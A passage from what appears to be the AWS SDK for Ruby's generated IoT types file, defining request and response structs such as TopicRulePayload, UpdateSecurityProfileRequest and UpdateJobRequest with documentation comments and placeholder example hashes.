role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # ], # rule_disabled: false, # aws_iot_sql_version: "AwsIotSqlVersion", # error_action: { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # }, # } # # @!attribute [rw] sql # The SQL statement used to query the topic. For more information, see # [AWS IoT SQL Reference][1] in the *AWS IoT Developer Guide*. # # # # [1]: https://docs.aws.amazon.com/iot/latest/developerguide/iot-rules.html#aws-iot-sql-reference # @return [String] # # @!attribute [rw] description # The description of the rule. # @return [String] # # @!attribute [rw] actions # The actions associated with the rule. # @return [Array<Types::Action>] # # @!attribute [rw] rule_disabled # Specifies whether the rule is disabled. # @return [Boolean] # # @!attribute [rw] aws_iot_sql_version # The version of the SQL rules engine to use when evaluating the rule. # @return [String] # # @!attribute [rw] error_action # The action to take when an error occurs. # @return [Types::Action] # class TopicRulePayload < Struct.new( :sql, :description, :actions, :rule_disabled, :aws_iot_sql_version, :error_action) include Aws::Structure end # You can't revert the certificate transfer because the transfer is # already complete. # # @!attribute [rw] message # The message for the exception. # @return [String] # class TransferAlreadyCompletedException < Struct.new( :message) include Aws::Structure end # The input for the TransferCertificate operation. # # @note When making an API call, you may pass TransferCertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # target_aws_account: "AwsAccountId", # required # transfer_message: "Message", # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] target_aws_account # The AWS account. # @return [String] # # @!attribute [rw] transfer_message # The transfer message. # @return [String] # class TransferCertificateRequest < Struct.new( :certificate_id, :target_aws_account, :transfer_message) include Aws::Structure end # The output from the TransferCertificate operation. # # @!attribute [rw] transferred_certificate_arn # The ARN of the certificate. # @return [String] # class TransferCertificateResponse < Struct.new( :transferred_certificate_arn) include Aws::Structure end # You can't transfer the certificate because authorization policies are # still attached. # # @!attribute [rw] message # The message for the exception. # @return [String] # class TransferConflictException < Struct.new( :message) include Aws::Structure end # Data used to transfer a certificate to an AWS account. # # @!attribute [rw] transfer_message # The transfer message. # @return [String] # # @!attribute [rw] reject_reason # The reason why the transfer was rejected. # @return [String] # # @!attribute [rw] transfer_date # The date the transfer took place. # @return [Time] # # @!attribute [rw] accept_date # The date the transfer was accepted. # @return [Time] # # @!attribute [rw] reject_date # The date the transfer was rejected. # @return [Time] # class TransferData < Struct.new( :transfer_message, :reject_reason, :transfer_date, :accept_date, :reject_date) include Aws::Structure end # You are not authorized to perform this operation. # # @!attribute [rw] message # The message for the exception. # @return [String] # class UnauthorizedException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass UntagResourceRequest # data as a hash: # # { # resource_arn: "ResourceArn", # required # tag_keys: ["TagKey"], # required # } # # @!attribute [rw] resource_arn # The ARN of the resource. # @return [String] # # @!attribute [rw] tag_keys # A list of the keys of the tags to be removed from the resource. # @return [Array<String>] # class UntagResourceRequest < Struct.new( :resource_arn, :tag_keys) include Aws::Structure end class UntagResourceResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateAccountAuditConfigurationRequest # data as a hash: # # { # role_arn: "RoleArn", # audit_notification_target_configurations: { # "SNS" => { # target_arn: "TargetArn", # role_arn: "RoleArn", # enabled: false, # }, # }, # audit_check_configurations: { # "AuditCheckName" => { # enabled: false, # }, # }, # } # # @!attribute [rw] role_arn # The ARN of the role that grants permission to AWS IoT to access # information about your devices, policies, certificates and other # items as required when performing an audit. # @return [String] # # @!attribute [rw] audit_notification_target_configurations # Information about the targets to which audit notifications are sent. # @return [Hash<String,Types::AuditNotificationTarget>] # # @!attribute [rw] audit_check_configurations # Specifies which audit checks are enabled and disabled for this # account. Use `DescribeAccountAuditConfiguration` to see the list of # all checks, including those that are currently enabled. # # Some data collection might start immediately when certain checks are # enabled. When a check is disabled, any data collected so far in # relation to the check is deleted. # # You cannot disable a check if it is used by any scheduled audit. You # must first delete the check from the scheduled audit or delete the # scheduled audit itself. # # On the first call to `UpdateAccountAuditConfiguration`, this # parameter is required and must specify at least one enabled check. # @return [Hash<String,Types::AuditCheckConfiguration>] # class UpdateAccountAuditConfigurationRequest < Struct.new( :role_arn, :audit_notification_target_configurations, :audit_check_configurations) include Aws::Structure end class UpdateAccountAuditConfigurationResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateAuthorizerRequest # data as a hash: # # { # authorizer_name: "AuthorizerName", # required # authorizer_function_arn: "AuthorizerFunctionArn", # token_key_name: "TokenKeyName", # token_signing_public_keys: { # "KeyName" => "KeyValue", # }, # status: "ACTIVE", # accepts ACTIVE, INACTIVE # } # # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # @!attribute [rw] authorizer_function_arn # The ARN of the authorizer's Lambda function. # @return [String] # # @!attribute [rw] token_key_name # The key used to extract the token from the HTTP headers. # @return [String] # # @!attribute [rw] token_signing_public_keys # The public keys used to verify the token signature. # @return [Hash<String,String>] # # @!attribute [rw] status # The status of the update authorizer request. # @return [String] # class UpdateAuthorizerRequest < Struct.new( :authorizer_name, :authorizer_function_arn, :token_key_name, :token_signing_public_keys, :status) include Aws::Structure end # @!attribute [rw] authorizer_name # The authorizer name. # @return [String] # # @!attribute [rw] authorizer_arn # The authorizer ARN. # @return [String] # class UpdateAuthorizerResponse < Struct.new( :authorizer_name, :authorizer_arn) include Aws::Structure end # @note When making an API call, you may pass UpdateBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # required # billing_group_properties: { # required # billing_group_description: "BillingGroupDescription", # }, # expected_version: 1, # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] billing_group_properties # The properties of the billing group. # @return [Types::BillingGroupProperties] # # @!attribute [rw] expected_version # The expected version of the billing group. If the version of the # billing group does not match the expected version specified in the # request, the `UpdateBillingGroup` request is rejected with a # `VersionConflictException`. # @return [Integer] # class UpdateBillingGroupRequest < Struct.new( :billing_group_name, :billing_group_properties, :expected_version) include Aws::Structure end # @!attribute [rw] version # The latest version of the billing group. # @return [Integer] # class UpdateBillingGroupResponse < Struct.new( :version) include Aws::Structure end # Parameters to define a mitigation action that changes the state of the # CA certificate to inactive. # # @note When making an API call, you may pass UpdateCACertificateParams # data as a hash: # # { # action: "DEACTIVATE", # required, accepts DEACTIVATE # } # # @!attribute [rw] action # The action that you want to apply to the CA cerrtificate. The only # supported value is `DEACTIVATE`. # @return [String] # class UpdateCACertificateParams < Struct.new( :action) include Aws::Structure end # The input to the UpdateCACertificate operation. # # @note When making an API call, you may pass UpdateCACertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # new_status: "ACTIVE", # accepts ACTIVE, INACTIVE # new_auto_registration_status: "ENABLE", # accepts ENABLE, DISABLE # registration_config: { # template_body: "TemplateBody", # role_arn: "RoleArn", # }, # remove_auto_registration: false, # } # # @!attribute [rw] certificate_id # The CA certificate identifier. # @return [String] # # @!attribute [rw] new_status # The updated status of the CA certificate. # # **Note:** The status value REGISTER\_INACTIVE is deprecated and # should not be used. # @return [String] # # @!attribute [rw] new_auto_registration_status # The new value for the auto registration status. Valid values are: # "ENABLE" or "DISABLE". # @return [String] # # @!attribute [rw] registration_config # Information about the registration configuration. # @return [Types::RegistrationConfig] # # @!attribute [rw] remove_auto_registration # If true, removes auto registration. # @return [Boolean] # class UpdateCACertificateRequest < Struct.new( :certificate_id, :new_status, :new_auto_registration_status, :registration_config, :remove_auto_registration) include Aws::Structure end # The input for the UpdateCertificate operation. # # @note When making an API call, you may pass UpdateCertificateRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # new_status: "ACTIVE", # required, accepts ACTIVE, INACTIVE, REVOKED, PENDING_TRANSFER, REGISTER_INACTIVE, PENDING_ACTIVATION # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] new_status # The new status. # # **Note:** Setting the status to PENDING\_TRANSFER will result in an # exception being thrown. PENDING\_TRANSFER is a status used # internally by AWS IoT. It is not intended for developer use. # # **Note:** The status value REGISTER\_INACTIVE is deprecated and # should not be used. # @return [String] # class UpdateCertificateRequest < Struct.new( :certificate_id, :new_status) include Aws::Structure end # Parameters to define a mitigation action that changes the state of the # device certificate to inactive. # # @note When making an API call, you may pass UpdateDeviceCertificateParams # data as a hash: # # { # action: "DEACTIVATE", # required, accepts DEACTIVATE # } # # @!attribute [rw] action # The action that you want to apply to the device cerrtificate. The # only supported value is `DEACTIVATE`. # @return [String] # class UpdateDeviceCertificateParams < Struct.new( :action) include Aws::Structure end # @note When making an API call, you may pass UpdateDomainConfigurationRequest # data as a hash: # # { # domain_configuration_name: "ReservedDomainConfigurationName", # required # authorizer_config: { # default_authorizer_name: "AuthorizerName", # allow_authorizer_override: false, # }, # domain_configuration_status: "ENABLED", # accepts ENABLED, DISABLED # remove_authorizer_config: false, # } # # @!attribute [rw] domain_configuration_name # The name of the domain configuration to be updated. # @return [String] # # @!attribute [rw] authorizer_config # An object that specifies the authorization service for a domain. # @return [Types::AuthorizerConfig] # # @!attribute [rw] domain_configuration_status # The status to which the domain configuration should be updated. # @return [String] # # @!attribute [rw] remove_authorizer_config # Removes the authorization configuration from a domain. # @return [Boolean] # class UpdateDomainConfigurationRequest < Struct.new( :domain_configuration_name, :authorizer_config, :domain_configuration_status, :remove_authorizer_config) include Aws::Structure end # @!attribute [rw] domain_configuration_name # The name of the domain configuration that was updated. # @return [String] # # @!attribute [rw] domain_configuration_arn # The ARN of the domain configuration that was updated. # @return [String] # class UpdateDomainConfigurationResponse < Struct.new( :domain_configuration_name, :domain_configuration_arn) include Aws::Structure end # @note When making an API call, you may pass UpdateDynamicThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # thing_group_properties: { # required # thing_group_description: "ThingGroupDescription", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # }, # expected_version: 1, # index_name: "IndexName", # query_string: "QueryString", # query_version: "QueryVersion", # } # # @!attribute [rw] thing_group_name # The name of the dynamic thing group to update. # @return [String] # # @!attribute [rw] thing_group_properties # The dynamic thing group properties to update. # @return [Types::ThingGroupProperties] # # @!attribute [rw] expected_version # The expected version of the dynamic thing group to update. # @return [Integer] # # @!attribute [rw] index_name # The dynamic thing group index to update. # # <note markdown="1"> Currently one index is supported: 'AWS\_Things'. # # </note> # @return [String] # # @!attribute [rw] query_string # The dynamic thing group search query string to update. # @return [String] # # @!attribute [rw] query_version # The dynamic thing group query version to update. # # <note markdown="1"> Currently one query version is supported: "2017-09-30". If not # specified, the query version defaults to this value. # # </note> # @return [String] # class UpdateDynamicThingGroupRequest < Struct.new( :thing_group_name, :thing_group_properties, :expected_version, :index_name, :query_string, :query_version) include Aws::Structure end # @!attribute [rw] version # The dynamic thing group version. # @return [Integer] # class UpdateDynamicThingGroupResponse < Struct.new( :version) include Aws::Structure end # @note When making an API call, you may pass UpdateEventConfigurationsRequest # data as a hash: # # { # event_configurations: { # "THING" => { # enabled: false, # }, # }, # } # # @!attribute [rw] event_configurations # The new event configuration values. # @return [Hash<String,Types::Configuration>] # class UpdateEventConfigurationsRequest < Struct.new( :event_configurations) include Aws::Structure end class UpdateEventConfigurationsResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateIndexingConfigurationRequest # data as a hash: # # { # thing_indexing_configuration: { # thing_indexing_mode: "OFF", # required, accepts OFF, REGISTRY, REGISTRY_AND_SHADOW # thing_connectivity_indexing_mode: "OFF", # accepts OFF, STATUS # managed_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # custom_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # }, # thing_group_indexing_configuration: { # thing_group_indexing_mode: "OFF", # required, accepts OFF, ON # managed_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # custom_fields: [ # { # name: "FieldName", # type: "Number", # accepts Number, String, Boolean # }, # ], # }, # } # # @!attribute [rw] thing_indexing_configuration # Thing indexing configuration. # @return [Types::ThingIndexingConfiguration] # # @!attribute [rw] thing_group_indexing_configuration # Thing group indexing configuration. # @return [Types::ThingGroupIndexingConfiguration] # class UpdateIndexingConfigurationRequest < Struct.new( :thing_indexing_configuration, :thing_group_indexing_configuration) include Aws::Structure end class UpdateIndexingConfigurationResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateJobRequest # data as a hash: # # { # job_id: "JobId", # required # description: "JobDescription", # presigned_url_config: { # role_arn: "RoleArn", # expires_in_sec: 1, # }, # job_executions_rollout_config: { # maximum_per_minute: 1, # exponential_rate: { # base_rate_per_minute: 1, # required # increment_factor: 1.0, # required # rate_increase_criteria: { # required # number_of_notified_things: 1, # number_of_succeeded_things: 1, # }, # }, # }, # abort_config: { # criteria_list: [ # required # { # failure_type: "FAILED", # required, accepts FAILED, REJECTED, TIMED_OUT, ALL # action: "CANCEL", # required, accepts CANCEL # threshold_percentage: 1.0, # required # min_number_of_executed_things: 1, # required # }, # ], # }, # timeout_config: { # in_progress_timeout_in_minutes: 1, # }, # } # # @!attribute [rw] job_id # The ID of the job to be updated. # @return [String] # # @!attribute [rw] description # A short text description of the job. # @return [String] # # @!attribute [rw] presigned_url_config # Configuration information for pre-signed S3 URLs. # @return [Types::PresignedUrlConfig] # # @!attribute [rw] job_executions_rollout_config # Allows you to create a staged rollout of the job. # @return [Types::JobExecutionsRolloutConfig] # # @!attribute [rw] abort_config # Allows you to create criteria to abort a job. # @return [Types::AbortConfig] # # @!attribute [rw] timeout_config # Specifies the amount of time each device has to finish its execution # of the job. The timer is started when the job execution status is # set to `IN_PROGRESS`. If the job execution status is not set to # another terminal state before the time expires, it will be # automatically set to `TIMED_OUT`. # @return [Types::TimeoutConfig] # class UpdateJobRequest < Struct.new( :job_id, :description, :presigned_url_config, :job_executions_rollout_config, :abort_config, :timeout_config) include Aws::Structure end # @note When making an API call, you may pass UpdateMitigationActionRequest # data as a hash: # # { # action_name: "MitigationActionName", # required # role_arn: "RoleArn", # action_params: { # update_device_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # update_ca_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # add_things_to_thing_group_params: { # thing_group_names: ["ThingGroupName"], # required # override_dynamic_groups: false, # }, # replace_default_policy_version_params: { # template_name: "BLANK_POLICY", # required, accepts BLANK_POLICY # }, # enable_io_t_logging_params: { # role_arn_for_logging: "RoleArn", # required # log_level: "DEBUG", # required, accepts DEBUG, INFO, ERROR, WARN, DISABLED # }, # publish_finding_to_sns_params: { # topic_arn: "SnsTopicArn", # required # }, # }, # } # # @!attribute [rw] action_name # The friendly name for the mitigation action. You can't change the # name by using `UpdateMitigationAction`. Instead, you must delete and # re-create the mitigation action with the new name. # @return [String] # # @!attribute [rw] role_arn # The ARN of the IAM role that is used to apply the mitigation action. # @return [String] # # @!attribute [rw] action_params # Defines the type of action and the parameters for that action. # @return [Types::MitigationActionParams] # class UpdateMitigationActionRequest < Struct.new( :action_name, :role_arn, :action_params) include Aws::Structure end # @!attribute [rw] action_arn # The ARN for the new mitigation action. # @return [String] # # @!attribute [rw] action_id # A unique identifier for the mitigation action. # @return [String] # class UpdateMitigationActionResponse < Struct.new( :action_arn, :action_id) include Aws::Structure end # @note When making an API call, you may pass UpdateProvisioningTemplateRequest # data as a hash: # # { # template_name: "TemplateName", # required # description: "TemplateDescription", # enabled: false, # default_version_id: 1, # provisioning_role_arn: "RoleArn", # } # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] description # The description of the fleet provisioning template. # @return [String] # # @!attribute [rw] enabled # True to enable the fleet provisioning template, otherwise false. # @return [Boolean] # # @!attribute [rw] default_version_id # The ID of the default provisioning template version. # @return [Integer] # # @!attribute [rw] provisioning_role_arn # The ARN of the role associated with the provisioning template. This # IoT role grants permission to provision a device. # @return [String] # class UpdateProvisioningTemplateRequest < Struct.new( :template_name, :description, :enabled, :default_version_id, :provisioning_role_arn) include Aws::Structure end class UpdateProvisioningTemplateResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateRoleAliasRequest # data as a hash: # # { # role_alias: "RoleAlias", # required # role_arn: "RoleArn", # credential_duration_seconds: 1, # } # # @!attribute [rw] role_alias # The role alias to update. # @return [String] # # @!attribute [rw] role_arn # The role ARN. # @return [String] # # @!attribute [rw] credential_duration_seconds # The number of seconds the credential will be valid. # @return [Integer] # class UpdateRoleAliasRequest < Struct.new( :role_alias, :role_arn, :credential_duration_seconds) include Aws::Structure end # @!attribute [rw] role_alias # The role alias. # @return [String] # # @!attribute [rw] role_alias_arn # The role alias ARN. # @return [String] # class UpdateRoleAliasResponse < Struct.new( :role_alias, :role_alias_arn) include Aws::Structure end # @note When making an API call, you may pass UpdateScheduledAuditRequest # data as a hash: # # { # frequency: "DAILY", # accepts DAILY, WEEKLY, BIWEEKLY, MONTHLY # day_of_month: "DayOfMonth", # day_of_week: "SUN", # accepts SUN, MON, TUE, WED, THU, FRI, SAT # target_check_names: ["AuditCheckName"], # scheduled_audit_name: "ScheduledAuditName", # required # } # # @!attribute [rw] frequency # How often the scheduled audit takes place. Can be one of "DAILY", # "WEEKLY", "BIWEEKLY", or "MONTHLY". The start time of each # audit is determined by the system. # @return [String] # # @!attribute [rw] day_of_month # The day of the month on which the scheduled audit takes place. Can # be "1" through "31" or "LAST". This field is required if the # "frequency" parameter is set to "MONTHLY". If days 29-31 are # specified, and the month does not have that many days, the audit # takes place on the "LAST" day of the month. # @return [String] # # @!attribute [rw] day_of_week # The day of the week on which the scheduled audit takes place. Can be # one of "SUN", "MON", "TUE", "WED", "THU", "FRI", or # "SAT". This field is required if the "frequency" parameter is # set to "WEEKLY" or "BIWEEKLY". # @return [String] # # @!attribute [rw] target_check_names # Which checks are performed during the scheduled audit. Checks must # be enabled for your account. (Use # `DescribeAccountAuditConfiguration` to see the list of all checks, # including those that are enabled or use # `UpdateAccountAuditConfiguration` to select which checks are # enabled.) # @return [Array<String>] # # @!attribute [rw] scheduled_audit_name # The name of the scheduled audit. (Max. 128 chars) # @return [String] # class UpdateScheduledAuditRequest < Struct.new( :frequency, :day_of_month, :day_of_week, :target_check_names, :scheduled_audit_name) include Aws::Structure end # @!attribute [rw] scheduled_audit_arn # The ARN of the scheduled audit. # @return [String] # class UpdateScheduledAuditResponse < Struct.new( :scheduled_audit_arn) include Aws::Structure end # @note When making an API call, you may pass UpdateSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # security_profile_description: "SecurityProfileDescription", # behaviors: [ # { # name: "BehaviorName", # required # metric: "BehaviorMetric", # criteria: { # comparison_operator: "less-than", # accepts less-than, less-than-equals, greater-than, greater-than-equals, in-cidr-set, not-in-cidr-set, in-port-set, not-in-port-set # value: { # count: 1, # cidrs: ["Cidr"], # ports: [1], # }, # duration_seconds: 1, # consecutive_datapoints_to_alarm: 1, # consecutive_datapoints_to_clear: 1, # statistical_threshold: { # statistic: "EvaluationStatistic", # }, # }, # }, # ], # alert_targets: { # "SNS" => { # alert_target_arn: "AlertTargetArn", # required # role_arn: "RoleArn", # required # }, # }, # additional_metrics_to_retain: ["BehaviorMetric"], # delete_behaviors: false, # delete_alert_targets: false, # delete_additional_metrics_to_retain: false, # expected_version: 1, # } # # @!attribute [rw] security_profile_name # The name of the security profile you want to update. # @return [String] # # @!attribute [rw] security_profile_description # A description of the security profile. # @return [String] # # @!attribute [rw] behaviors # Specifies the behaviors that, when violated by a device (thing), # cause an alert. # @return [Array<Types::Behavior>] # # @!attribute [rw] alert_targets # Where the alerts are sent. (Alerts are always sent to the console.) # @return [Hash<String,Types::AlertTarget>] # # @!attribute [rw] additional_metrics_to_retain # A list of metrics whose data is retained (stored). By default, data # is retained for any metric used in the profile's `behaviors`, but # it is also retained for any metric specified here. # @return [Array<String>] # # @!attribute [rw] delete_behaviors # If true, delete all `behaviors` defined for this security profile. # If any `behaviors` are defined in the current invocation, an # exception occurs. # @return [Boolean] # # @!attribute [rw] delete_alert_targets # If true, delete all `alertTargets` defined for this security # profile. If any `alertTargets` are defined in the current # invocation, an exception occurs. # @return [Boolean] # # @!attribute [rw] delete_additional_metrics_to_retain # If true, delete all `additionalMetricsToRetain` defined for this # security profile. If any `additionalMetricsToRetain` are defined in # the current invocation, an exception occurs. # @return [Boolean] # # @!attribute [rw] expected_version # The expected version of the security profile. A new version is # generated whenever the security profile is updated. If you specify a # value that is different from the actual version, a # `VersionConflictException` is thrown. # @return [Integer] # class UpdateSecurityProfileRequest < Struct.new( :security_profile_name, :security_profile_description, :behaviors, :alert_targets, :additional_metrics_to_retain, :delete_behaviors, :delete_alert_targets, :delete_additional_metrics_to_retain, :expected_version) include Aws::Structure end # @!attribute [rw] security_profile_name # The name of the security profile that was updated. # @return [String] # # @!attribute [rw] security_profile_arn # The ARN of the security profile that was updated. # @return [String] # # @!attribute [rw] security_profile_description # The description of the security profile. # @return [String] # # @!attribute [rw] behaviors # Specifies the behaviors that, when violated by a device (thing), # cause an alert. # @return [Array<Types::Behavior>] # # @!attribute [rw] alert_targets # Where the alerts are sent. (Alerts are always sent to the console.) # @return [Hash<String,Types::AlertTarget>] # # @!attribute [rw] additional_metrics_to_retain # A list of metrics whose data is retained (stored). By default, data # is retained for any metric used in the security profile's # `behaviors`, but it is also retained for any metric specified here. # @return [Array<String>] # # @!attribute [rw] version # The updated version of the security profile. # @return [Integer] # # @!attribute [rw] creation_date # The time the security profile was created. # @return [Time] # # @!attribute [rw] last_modified_date # The time the security profile was last modified. # @return [Time] # class UpdateSecurityProfileResponse < Struct.new( :security_profile_name, :security_profile_arn, :security_profile_description, :behaviors, :alert_targets, :additional_metrics_to_retain, :version, :creation_date, :last_modified_date) include Aws::Structure end # @note When making an API call, you may pass UpdateStreamRequest # data as a hash: # # { # stream_id: "StreamId", # required # description: "StreamDescription", # files: [ # { # file_id: 1, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # }, # ], # role_arn: "RoleArn", # } # # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] description # The description of the stream. # @return [String] # # @!attribute [rw] files # The files associated with the stream. # @return [Array<Types::StreamFile>] # # @!attribute [rw] role_arn # An IAM role that allows the IoT service principal assumes to access # your S3 files. # @return [String] # class UpdateStreamRequest < Struct.new( :stream_id, :description, :files, :role_arn) include Aws::Structure end # @!attribute [rw] stream_id # The stream ID. # @return [String] # # @!attribute [rw] stream_arn # The stream ARN. # @return [String] # # @!attribute [rw] description # A description of the stream. # @return [String] # # @!attribute [rw] stream_version # The stream version. # @return [Integer] # class UpdateStreamResponse < Struct.new( :stream_id, :stream_arn, :description, :stream_version) include Aws::Structure end # @note When making an API call, you may pass UpdateThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # thing_group_properties: { # required # thing_group_description: "ThingGroupDescription", # attribute_payload: { # attributes: { # "AttributeName" => "AttributeValue", # }, # merge: false, # }, # }, # expected_version: 1, # } # # @!attribute [rw] thing_group_name # The thing group to update. # @return [String] # # @!attribute [rw] thing_group_properties # The thing group properties. # @return [Types::ThingGroupProperties] # # @!attribute [rw] expected_version # The expected version of the thing group. If this does not match the # version of the thing group being updated, the update will fail. # @return [Integer] # class UpdateThingGroupRequest < Struct.new( :thing_group_name, :thing_group_properties, :expected_version) include Aws::Structure end # @!attribute [rw] version # The version of the updated thing group. # @return [Integer] # class UpdateThingGroupResponse < Struct.new( :version) include Aws::Structure end # @note When making an API call, you may pass UpdateThingGroupsForThingRequest # data as a hash: # # { # thing_name: "ThingName", # thing_groups_to_add: ["ThingGroupName"], # thing_groups_to_remove: ["ThingGroupName"], # override_dynamic_groups: false, # } # # @!attribute [rw] thing_name # The thing whose group memberships will be updated. # @return [String] # # @!attribute [rw] thing_groups_to_add # The groups to which the thing will be added. # @return [Array<String>] # # @!attribute [rw] thing_groups_to_remove # The groups from which the thing will be removed. # @return [Array<String>] # # @!attribute [rw] override_dynamic_groups # Override dynamic thing groups with static thing groups when 10-group # limit is reached. If a thing belongs to 10 thing groups, and one or # more of those groups are dynamic thing groups, adding a thing to a # static group removes the thing from the last dynamic group. # @return [Boolean] # class 